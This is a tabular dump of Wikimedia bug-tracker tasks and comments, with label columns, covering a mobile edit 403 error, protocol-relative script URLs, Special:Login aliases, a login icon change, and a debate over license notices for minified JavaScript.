+I was trying to make edit http://en.wikipedia.org/w/index.php?title=User_talk:Jeff_G.&diff=450978870&oldid=450929704 (accomplished from a computer).",,,1316271902,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ueiwtrzyvfgttrvynarw,task_subcomment,,True,c2,0,False,,,-102,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+145374,403 HTTP method not allowed.,"**RSYQFIOJGWZA** wrote:
+
+I was using HTTP, sorry Opera Mini cut off ""http://"".",,,1316263034,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ueiwtrzyvfgttrvynarw,task_subcomment,,True,c2,0,False,,,-102,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,0
+145369,403 HTTP method not allowed.,"**RSYQFIOJGWZA** wrote:
+
+From en.m.wikipedia.org/w/index.php?title=User_talk:Jeff_G.&action=edit&section=13 , I was trying to submit a post of a reply to a post on my enwp user talk page, using the full version of the site, with Opera Mini 6.1.2557 for Android (in this instance, later duplicated with the built-in browser) on Android 2.2.2 (froyo), on my Samsung Galaxy Prevail smart phone for use with the Boost Mobile prepaid service from Sprint, via wifi, Cabevision's Optmum Online, and their ISP.",,,1316262749,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ueiwtrzyvfgttrvynarw,task_subcomment,,True,c2,0,False,,,-102,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+145364,403 HTTP method not allowed.,How did you reach there?,,,1316260051,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-ueiwtrzyvfgttrvynarw,task_subcomment,,True,c2,0,False,,,-102,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,1,1,0,0,0
+32734,Commons Vector.js loads WikiMiniAtlas over http when visiting https://commons,"Not strictly in the scope of this tracker, I know, but putting this in as a TODO for myself.
+
+On [[commons:MediaWiki:Vector.js]] (and possibly elsewhere), this:
+
+var metaBase = 'http://meta.wikimedia.org';
+if ( mw.config.get( 'wgServer' ) == 'https://secure.wikimedia.org' ) {
+ var metaBase = 'https://secure.wikimedia.org/wikipedia/meta';
+}
+
+needs to be changed to just
+
+var metaBase = '//meta.wikimedia.org';
+
+after we deploy HTTPS to meta.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1315065960,1316286681.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-frdxbvhnsqgwqmgzicec,task_description,invalid,True,c2,0,False,False,True,-104,True,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,1,1,0,0,1
+152027,Commons Vector.js loads WikiMiniAtlas over http when visiting https://commons,"Marking invalid as it's not a Wikimedia issue, but my previous post shows a work-around for wiks without https, and for those that do have https, the following can be used:
+
+
+var xBase = '//x.wikimedia.org';
+mw.loader.load( xBase + '/w/index.php? ......' );
+
+The latter has been applied to  http://commons.wikimedia.org/wiki/MediaWiki:Vector.js",,,1316286681,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-frdxbvhnsqgwqmgzicec,task_subcomment,,True,c2,0,True,,,-102,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+152018,Commons Vector.js loads WikiMiniAtlas over http when visiting https://commons,"There is a structure like that that is about as common, a little bit better:
+
+
+var xBase = 'http://x.wikimedia.org';
+if ( mw.config.get( 'wgServer' ).indexOf('https://') === 0 ) {
+ var xBase = 'https://secure.wikimedia.org/wikipedia/x';
+}
+
+
+Except that this one is subject to the same bug, because wgServer doesn't contain http nor https. Until https is on all wikis, wikis should use protocol-relative where possible and keep these if-statements for wikis that don't yet.",,,1315066216,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-frdxbvhnsqgwqmgzicec,task_subcomment,,True,c2,0,True,,,-104,True,1,0,0,0,1,1,1,1,0,1,1,1,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,0,0,1,0,1
+39137,Create Special:Login as a redirect to Special:UserLogin,"Special:Login is more intuitive than Special:UserLogin.  I suppose there's no reason to move the current one, but could Special:Login be created as a redirect?
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1338110400,1373289760.0,PHID-USER-eob3rbz3vybcgnjfvmbn,False,,False,PHID-TASK-5oxi4h646gofncgguima,task_description,resolved,True,c2,1,False,False,True,-66,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,1,0,0
+176218,Create Special:Login as a redirect to Special:UserLogin,"Change 52749 merged by jenkins-bot:
+Add Special:Login and Special:Logout as aliases.
+
+https://gerrit.wikimedia.org/r/52749",,,1373289816,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5oxi4h646gofncgguima,task_subcomment,,True,c2,1,False,,,-8,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+176214,Create Special:Login as a redirect to Special:UserLogin,Merged.,,,1373289760,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-5oxi4h646gofncgguima,task_subcomment,,True,c2,1,True,,,-8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+176210,Create Special:Login as a redirect to Special:UserLogin,"Done.  I made Special:Login and Special:Logout aliases, with the current titles remaining canonical.
+
+Pending review: https://gerrit.wikimedia.org/r/52749",,,1362709229,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-5oxi4h646gofncgguima,task_subcomment,,True,c2,1,False,,,-25,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+176206,Create Special:Login as a redirect to Special:UserLogin,"It is called ""alias"" (or special page alias) in mediawiki and it is maintenance in the language file.",,,1339113658,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-5oxi4h646gofncgguima,task_subcomment,,True,c2,1,False,,,-64,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+38982,Change Meta (fav)icon on Special:Userlogin,"Change Meta (fav)icon on Special:Userlogin (after form submit) from Wikimedia to the Community logo.
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial",Low,25.0,1337464080,1341590161.0,PHID-USER-xqqqgn2dels45flxw5kb,False,,False,PHID-TASK-gdoyi7qpscdxj6l3rg24,task_description,resolved,True,c2,1,True,False,True,-67,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+176377,Change Meta (fav)icon on Special:Userlogin,"'wmgCentralAuthLoginIcon' => array(
+	'default' => false,
+	'wiki' => '/usr/local/apache/common/images/sul/wikipedia.png',
+	'wikibooks' => '/usr/local/apache/common/images/sul/wikibooks.png',
+	'wikinews' => '/usr/local/apache/common/images/sul/wikinews.png',
+	'wikiquote' => '/usr/local/apache/common/images/sul/wikiquote.png',
+	'wikisource' => '/usr/local/apache/common/images/sul/wikisource.png',
+	'sourceswiki' => '/usr/local/apache/common/images/sul/wikisource.png',
+	'wikiversity' => '/usr/local/apache/common/images/sul/wikiversity.png',
+	'wiktionary' => '/usr/local/apache/common/images/sul/wiktionary.png',
+	'metawiki' => '/usr/local/apache/common/images/sul/meta.png',
+	'commonswiki' => '/usr/local/apache/common/images/sul/commons.png',
+	'mediawikiwiki' => '/usr/local/apache/common/images/sul/mediawiki.png',
+	'specieswiki' => '/usr/local/apache/common/images/sul/wikispecies.png',
+	'incubatorwiki' => '/usr/local/apache/common/images/sul/incubatorwiki.png',
+),
+
+File physically replaced
+
+reedy@fenari:/home/wikipedia/common$ git commit -a
+[master 5851952] Bug 36982 - Change Meta (fav)icon on Special:Userlogin
+ 1 files changed, 6 insertions(+), 6 deletions(-)
+ rewrite images/sul/meta.png (98%)
+reedy@fenari:/home/wikipedia/common$ git push origin
+Counting objects: 15, done.
+Delta compression using up to 2 threads.
+Compressing objects: 100% (8/8), done.
+Writing objects: 100% (9/9), 1.84 KiB, done.
+Total 9 (delta 5), reused 0 (delta 0)
+remote: Resolving deltas: 100% (5/5)
+remote: Processing changes: refs: 1, done
+To ssh://gerrit.wikimedia.org:29418/operations/mediawiki-config.git
+   c1b096d..5851952  master -> master",,,1341590161,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-gdoyi7qpscdxj6l3rg24,task_subcomment,,True,c2,1,True,,,-60,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1
+176369,Change Meta (fav)icon on Special:Userlogin,"**Thehelpfulonewiki** wrote:
+
+http://upload.wikimedia.org/wikipedia/commons/thumb/8/81/Wikimedia-logo.svg/20px-Wikimedia-logo.svg.png 
+
+needs to be replaced with
+
+http://upload.wikimedia.org/wikipedia/commons/thumb/7/75/Wikimedia_Community_Logo.svg/20px-Wikimedia_Community_Logo.svg.png
+
+where it says 
+
+
+You are now logged in to Outreach Wiki as ""Thehelpfulone"".
+Logging you in to wikis of the Wikimedia Foundation:
+
+<icons here>",,,1337554272,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gdoyi7qpscdxj6l3rg24,task_subcomment,,True,c2,1,False,,,-67,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+38866,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"**Author:** `kete`
+
+**Description:**
+Nontrivial JavaScript should have a free license, so we can know what our browsers are doing. With libre licenses, we can study the JavaScript source code. Your wiki code could use a simple license declaration in the header as described at http://www.gnu.org/philosophy/javascript-trap.html#AppendixA
+
+Regards
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1337102160,1531874001.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-x4zarjl4e5rxu2neey5s,task_description,declined,True,c2,1,False,False,False,-68,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+937945,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"The GPL defines source as the ""preferred form for modification"" and
+minified-JS is clearly not that.
+
+We should provide a licensing information and offer/pointer to source
+when we distribute the software.",,,1506566903,,PHID-USER-6iuj5hbfvcdmwmkuzgb6,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,213,True,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+935290,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"@MaxSem there's also the issue that no url is provided for the source of the non-source js. Anyways, I'll also add to the readme mentioning the problems. At this point, it's incomplete and I don't recommend using it.",,,1506116170,,PHID-USER-yaomncalqrduhrtg5v3e,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,212,True,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0
+935271,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"Also, fsf used a patch like it, but not anymore.",,,1506114554,,PHID-USER-yaomncalqrduhrtg5v3e,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,212,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0
+935272,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"@MaxSem, I should have said, it's a non-source form, aka object code, as gpl v3 defines it. often referred to as a binary.",,,1506114589,,PHID-USER-yaomncalqrduhrtg5v3e,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,212,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,0,0,0,0
+935270,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"@MaxSem, I should have said, it's a non-source form, aka object code, as gpl v3 defines it. often referred to as a binary form.",,,1506114498,,PHID-USER-yaomncalqrduhrtg5v3e,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,212,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,0,0,0,0
+935266,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,Minified JS is not binary code.,,,1506114207,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,212,True,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+935267,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"@MaxSem, Other than the attribution issue, I doubt it.
+It's minified js (ie. binary code) that had no license notice at all, but it's all from
+gplv3 compatible source code. I'll fix the attribution problem.",,,1506114255,,PHID-USER-yaomncalqrduhrtg5v3e,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,212,True,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,0,0,0,0,1
+935264,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"MaxSem, I'm not sure about the attribution issue, but otherwise, very doubtful.
+It's minified js (ie. binary code) that had no license notice at all, but it's all from
+gplv3 compatible source code.",,,1506114125,,PHID-USER-yaomncalqrduhrtg5v3e,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,212,True,1,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+930888,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"Ugh, that patch is a copyright violation itself: it assigns a GPL header (and a wrong version of GPL, not used by MW) to code that may come under a different license (for example, we use jQuery which comes under MIT), and assigns it to an nonexistent ""Mediawiki Foundation"", ignoring real authors' copyrights.",,,1505431250,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,211,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+842650,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"For people coming to this issue from google, etc. In the meantime until this is resolved, fsf has patched their instances to mostly satisfy librejs through a bit of a hack by inserting license info into every page, their instances are around 1.25 and 1.23. I made my own patch to do the same on mediawiki 1.28, at https://iankelling.org/git/?p=mediawiki-librejs-patch;a=tree
+",,,1492148598,,PHID-USER-yaomncalqrduhrtg5v3e,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,189,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+842649,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"For people coming to this issue from google, etc. In the meantime until this is resolved, fsf has patched their instances to mostly satisfy librejs through a bit of a hack by inserting license info into every page, their instances are aroun 1.25 and 1.23. I made my own patch to do the same on mediawiki 1.28, at https://iankelling.org/git/?p=mediawiki-librejs-patch;a=tree
+",,,1492148541,,PHID-USER-yaomncalqrduhrtg5v3e,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,False,,,189,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+763553,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"I agree with @MarkAHershberger 's comment earlier. The ""license labels"" approach is much more realistic. It's also a widely adopted principle in many other contexts as well. I'll name some examples below.
+
+We should not pursue the endless rabbit hole of adding comments everywhere, or refactoring our minification pipeline to group similarly licensed chunks together.
+
+Examples of the separate label pointers:
+
+* Binary files, images, SVGs, HTML files etc. typically don't have a license included in the file, but rather are distributed with a separate license file that is ""discoverable through an appropiate interface"".
+* For a public server directory (or zip file) this is typically a file in the same directory, or index page footer, that one would naturally see.
+* jQuery git repositories have adopted the pragmatic principle of not putting license headers on every single file. A LICENSE file in the repository root suffices.
+* Chromium ships lots of compiled and uncompiled scripts and freely licensed interface components. Licenses are exposed via a special panel in the application settings dialog.
+
+Worrying about people copying individual files without looking is imho an inherently invalid use case. More likely they'll copy just a few functions without looking. Should we start prefixing every single line of our program with a license indication just to be sure?
+
+```lang=php
+/*! @license .. */ class Everything {
+/*! @license .. */   public function random() {
+/*! @license .. */     return 42;
+/*! @license .. */   }
+/*! @license .. */ }
+```
+
+Back to the label pointers. I think the closest thing to a page with license labels is our very own Special:Version. We can build on that to fill any gaps.",,,1479497849,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,True,,,168,True,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1
+642379,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"I agree with @MarkAHershberger 's comment earlier. The ""license labels"" approach is much more realistic. It's also a widely adopted principle in many other contexts as well. I'll name some examples below.
+
+We should not pursue the endless rabbit hole of adding comments everywhere, or refactoring our minification pipeline to group similarly licensed chunks together. I can't express the depths and the levels of how ridiculous that would be.
+
+Examples of the separate label pointers:
+
+* Binary files, images, SVGs, HTML files etc. typically don't have a license included in the file, but rather are distributed with a separate license file that is ""discoverable through an appropiate interface"".
+* For a public server directory (or zip file) this is typically a file in the same directory, or index page footer, that one would naturally see.
+* jQuery git repositories have adopted the pragmatic principle of not putting license headers on every single file. A LICENSE file in the repository root suffices.
+* Chromium ships lots of compiled and uncompiled scripts and freely licensed interface components. Licenses are exposed via a special panel in the application settings dialog.
+
+Worrying about people copying individual files without looking is imho an inherently invalid use case. More likely they'll copy just a few functions without looking. Should we start prefixing every single line of our program with a license indication just to be sure?
+
+```lang=php
+/*! @license .. */ class Everything {
+/*! @license .. */   public function random() {
+/*! @license .. */     return 42;
+/*! @license .. */   }
+/*! @license .. */ }
+```
+
+Back to the label pointers. I think the closest thing to a page with license labels is our very own Special:Version. We can build on that to fill any gaps.",,,1460073977,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,True,,,136,True,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1
+641650,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"I agree with @MarkAHershberger 's comment earlier. The ""license labels"" approach is much more realistic. It's also a widely adopted principle in many other contexts as well. I'll name some examples below.
+
+We should not pursue the endless rabbit hole of adding comments everywhere, or refactoring our minification pipeline to group similarly licensed chunks together. I can't express the depths and the levels of how ridiculous that would be.
+
+Examples of the separate label pointers:
+
+* Binary files, images, SVGs, HTML files etc. typically don't have a license included in the file, but rather are distributed with a separate license file that is ""discoverable through an appropiate interface"".
+* For a public server directory (or zip file) this is typically a file in the same directory, or index page footer, that one would naturally see.
+* jQuery git repositories have adopted the pragmatic principle of not putting license headers on every single file. A LICENSE file in the repository root suffices.
+* Chromium ships lots of compiled and uncompiled scripts and freely licensed interface components. Licenses are exposed via a special panel in the application settings dialog.
+
+Worrying about people copying individual files without looking is imho an inherently invalid use case. More likely they'll copy just a few functions without looking. Should we start prefixing every single line of our program with a license indication just to be sure?
+
+```lang=php
+/*! @license .. */ class Everything {
+/*! @license .. */   public function random() {
+/*! @license .. */     return 42;
+/*! @license .. */   }
+/*! @license .. */ }
+```
+
+(Does look cute!)
+
+Back to the label pointers. I think the closest thing to a page with license labels is our very own Special:Version. We can build on that to fill any gaps.",,,1459976666,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,True,,,136,True,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1
+498403,ResourceLoader: Convey license information in HTTP requests serving minified builds of javascript files,"All known discussion and progress is in (or linked in) the comments of this task. :) 
+Age of a task is rather irrelevant, but if you have specific questions please ask them here!",,,1438108672,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-x4zarjl4e5rxu2neey5s,task_subcomment,,True,c2,3,True,,,99,True,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0
